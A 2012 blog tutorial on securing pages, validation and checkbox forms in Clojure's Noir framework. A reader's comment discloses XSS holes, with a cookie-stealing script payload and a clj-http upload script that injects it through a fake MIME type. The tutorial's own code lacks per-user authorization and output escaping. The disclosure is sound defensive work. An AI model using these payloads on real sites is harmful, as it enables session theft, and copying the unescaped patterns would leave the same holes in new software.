(iterate think (think))

Noir tutorial - part 4

25 Aug, 2012

Securing Pages

This part of the tutorial will focus on controlling page visibility, form validation, and handling complex form parameters. In the last section we added support for uploading files, it would make sense to make the upload page private. This way only registered users can access it.

Noir provides a pre-route macro for handling this. However, we will not be using it for a couple of reasons.

First, there is currently a bug in Noir, where pre-route ignores the servlet context, meaning that unless our application is deployed to "/" the routing will not work as expected. The second reason is that you have to remember to add a pre-route entry for each page that you want to make private.

A better solution, in my opinion, is to simply write a macro which will behave the same way as defpage, but will check if there is a user in session and redirect to "/" otherwise. With this approach we make pages private right in their definition. Let's open up our common namespace and add the macro:


(defmacro private-page [path params & content]
  `(noir.core/defpage 
     ~path 
     ~params 
     (if (session/get :user) 
      (do ~@content) 
      (resp/redirect "/")))) 

As you can see it has exactly same signature as defpage and calls it internally as you normally would, but only adds the content if the session contains a user, otherwise the page will redirect to "/".

Now, we'll go to our files namespace and mark all the pages as private:


(common/private-page "/upload" {:keys [info]}
  ...)

(common/private-page [:post "/upload"] {:keys [file]}
  ...)

(common/private-page "/files/:name" {:keys [name]} 
  ...) 
Let's test that it works by navigating to localhost:8080/upload without logging in. We should be redirected right back to "/".

Site navigation

Since we now have a couple of pages that we will be navigating we can add a navigation menu in our common namespace:


(defn menu []
  [:div.menu
   [:ul
    [:li (form-to [:post "/logout"] (submit-button "logout"))]    
    [:li (link-to "/upload" "my files")]
    [:li (link-to "/" "home")]]])

(defpartial layout [& content]
  (html5
    [:head
     [:title "my-website"]
     (include-css "/css/reset.css")]
    [:body               
     (if-let [user (session/get :user)]
       [:div
        (menu)
        [:h2 "welcome " user]]
       [:div.login
        (login-form) [:p "or"] (link-to "/signup" "sign up")])     
     content])) 
Now, if a user logs in, they will see the navigation menu and can either select home or their files page. To keep things clean we'll also move the logout link into our menu. This is functional, but it's rather ugly, so let's add some CSS to make it a bit nicer. We'll open up our stock resources/public/css/reset.css which was generated for our site and add the following to it:

.menu ul {
    list-style: none;
    margin: 0;
    padding-left: 0;
}
.menu li {
    float: right;
    position: relative;
    margin-right: 20px;
} 
Things should look much better now:
menu

Input Validation

Next, let's reexamine our sign up page, previously we didn't bother doing any validation when creating a new user, so let's add some now. Noir provides a simple way to validate input fields via the noir.validation namespace. Let's open the users namespace and add it in:


(ns my-website.views.users
  (:use [noir.core]
        hiccup.core hiccup.form)
  (:require [my-website.views.common :as common]
            [my-website.models.db :as db]
            [noir.util.crypt :as crypt]
            [noir.session :as session]
            [noir.response :as resp]
            [noir.validation :as vali])) 
Next we will create our validation function:

(defn valid? [{:keys [handle pass pass1]}]
  (vali/rule (vali/has-value? handle)
             [:handle "user ID is required"])
  (vali/rule (vali/min-length? pass 5)
             [:pass "password must be at least 5 characters"])  
  (vali/rule (= pass pass1)
             [:pass "entered passwords do not match"])
  (not (vali/errors? :handle :pass :pass1))) 
The function will check that all the fields conform to the rules, such as user id being provided, minimum password length, and that retyped password matches the original. The rules have the following form:

(rule validator [:filed-name "error message"]) 
where the validator must return a boolean. We'll also need a helper for displaying the error on the page:

(defpartial error-item [[first-error]]
  [:p.error first-error]) 
Next we will update our signup page to show the errors generated by the validator:

(defpage "/signup" {:keys [handle error]}
  (common/layout
    [:div.error error]
    (form-to [:post "/signup"]
             (vali/on-error :handle error-item)
             (label "user-id" "user id")
             (text-field "handle" handle)
             [:br]
             (vali/on-error :pass error-item)
             (label "pass" "password")
             (password-field "pass")             
             [:br]
             (vali/on-error :pass1 error-item)
             (label "pass1" "retype password")
             (password-field "pass1")             
             [:br]
             (submit-button "create account")))) 
All we have to do here is add on-error statements for each field we're validating. Finally, we'll have to update the POST part of the page, to call the validator and return the errors:

(defpage [:post "/signup"] user
  (if (valid? user)
    (try 
      (db/add-user (update-in (dissoc user :pass1) [:pass] crypt/encrypt))
      (resp/redirect "/")
      (catch Exception ex
        (render "/signup" (assoc user :error (.getMessage ex)))))
    (render "/signup" user))) 
This should give you a basic idea of how to validate input using Noir, and more details about validation can be found on the official site.

One thing you'll notice that when we navigate to the signup page, we still see the login option as well as the link to sign up:

sign up
This is because our layout adds these to every page. We can fix this by splitting layout in the common namespace as follows:

(defpartial basic-layout [& content]
  (html5
    [:head
     [:title "my-website"]
     (include-css "/css/reset.css")]
    [:body content]))

(defpartial layout [& content]  
  (basic-layout 
    [:div
     (if-let [user (session/get :user)]      
       [:div
        (menu)
        [:h2 "welcome " user]]
       [:div
        [:div.login
         (login-form) 
         [:p "or"] 
         (link-to "/signup" "sign up")]])
     content])) 
Then we simply change:

(defpage "/signup" {:keys [handle error]}
  (common/layout
  ...)

(defpage "/signup" {:keys [handle error]}
  (common/basic-layout
  ...) 
Another clean up item is to make our form items aligned, to do that we can use the following bit of CSS:

label {
    margin-left: 10px;
    width:120px; 
    float:left;
} 
The sign up page should now look as follows:
sign up

Complex Form Items

Now that we've cleaned up our singup page, we'll turn our attention back to file management. We'll add the ability for the user to filter files by their type. To do that we will first create a function in our db namespace to get all the file types from our database:


(defn file-types []
  (map :type (db-read "select distinct type from file"))) 
Then in our files namespace we will create a new helper called select-files-by-type:

(defn select-files-by-type []  
  (let [file-types (db/file-types)] 
    (form-to [:post "/show-files"]
             "select file types to show"
             (into 
               (with-group "file-types")
               (for [type file-types]
                 [:div 
                  type
                 (check-box type)]))
             (submit-button "show files")))) 
which we will add to our "/upload" page:

(common/private-page "/upload" {:keys [info]}
  (common/layout       
    [:h2.info info]
    (select-files-by-type)
    (list-files)
    (form-to {:enctype "multipart/form-data"}
             [:post "/upload"]
             (label :file "File to upload")
             (file-upload :file)
             [:br]
             (submit-button "upload")))) 
This function will read the file types from the database and create a checkbox group from them. When we hit submit we'll see something like the following in our params:

{"image/png" "true", "image/jpeg" "true"} 
Where the value of each selected checkbox will appear as a key in the params map with the value of "true". We will now have to update our list-files function to accept optional file type restriction and in turn pass it to list-files in db namespace:

(defn list-files [& [types]]  
  (into [:ul]
        (for [name (db/list-files types)]             
          [:li.file-link (link-to (str "/files/" name) name) 
           [:span "  "] 
           [:div.file]]))) 
The following changes will have to be made to retrieve files based on type:

(defn params-query [params]
  (apply str (interpose ", " (repeat (count params) "?"))))

(defn list-files [& [types]]
  (map :name 
       (if types
         (apply (partial db-read (str "select name from file where type in (" (params-query types) ")")) types)
         (db-read "select name from file")))) 
The params-query helper will create an appropriate WHERE clause based on the number of types we pass in, and list-files will now check if types have been passed in and create the appropriate query. Finally, we'll add a new page which will display the selected files:

(common/private-page [:post "/show-files"] params
  (let [file-types (keys params)] 
    (common/layout 
      [:h2 "showing files types " 
       (apply str (interpose ", " file-types))]
      (list-files file-types)
      (link-to "/upload" "back")))) 
The "/upload" page should now look as follows:
file upload
When we select some files and hit "show files" button we should see our new "show-files" page:
file upload

Summary

In this section we covered the following topics:

  • restricting access to pages
  • creating a navigation menu
  • input validation
  • handling inputs from multi part items such as check boxes
The complete code for this section is available here.



tags noirclojure

comments


28 Aug, 2012 - anonymous

Security

Since this blog post mentions security, I thought I'd mention a few holes.

Authorization not Authentication

  1. Users can see every file uploaded, even by others.
  2. Users can download every file uploaded, even by others.

This also leads to some other issues:

XSS on /file/:name

Someone can upload a file named break.html with contents


<script>
new Image().src="http://localhost:8080/log.cgi?c="+encodeURI(document.cookie);
</script>

Since it will then be served as a html page they can send users there and steal sessions.

XSS on /upload

The page on /upload shows the mime-type from a file upload. If someone fakes a mime type, say with:


(binding [clj-http.core/*cookie-store* (clj-http.cookies/cookie-store)]
  (client/post "http://localhost:8080/signup"
               {:form-params {:handle "z"
                              :pass "aaaaa"
                              :pass1 "aaaaa"}})
  (client/post "http://localhost:8080/login"
               {:form-params {:handle "z"
                              :pass "aaaaa"}})
  (client/post "http://localhost:8080/upload"
               {:multipart [{:name "file" :content (clojure.java.io/file "break.html") :mime-type "<script>new Image().src='http://localhost:8080/log.cgi?c='+encodeURI(document.cookie);</script>"}]}))

then they can steal sessions from anyone viewing /upload.

The user name also is vulnerable to XSS, but isn't publicly shown yet.

Take a look at http://weavejester.github.com/hiccup/hiccup.core.html#var-h to stop XSS.

This site

In addition, I this site might be <button onclick='alert("vulnerable to XSS")'>spoiler</button>.

28 Aug, 2012 - anonymous

Ah, looks like its just the preview box. That seems ok.

It did mess up the code in the triple quote markdown blocks though.

28 Aug, 2012 -

one more test

29 Aug, 2012 - Yogthos

>Users can see every file uploaded, even by others.

Yeah, I realized that when I started making the examples, but decides that to keep it simple, you can think of it as a file sharing site, as long as you have an account you can see all the files.

The page on /upload shows the mime-type from a file upload

The XSS is definitely an issue, thanks for the good links on that :)

spoiler

And I definitely should be cleaning the user name for comments, totally missed that one :P

29 Aug, 2012 - Yogthos

and comment author names are now sanitized as they should have been all along :)




help

*italics*italics
**bold**bold
~~foo~~strikethrough
[link](http://http://example.net/)link
super^scriptsuperscript
>quoted text
4 spaces indented code4 spaces indented code

preview

submit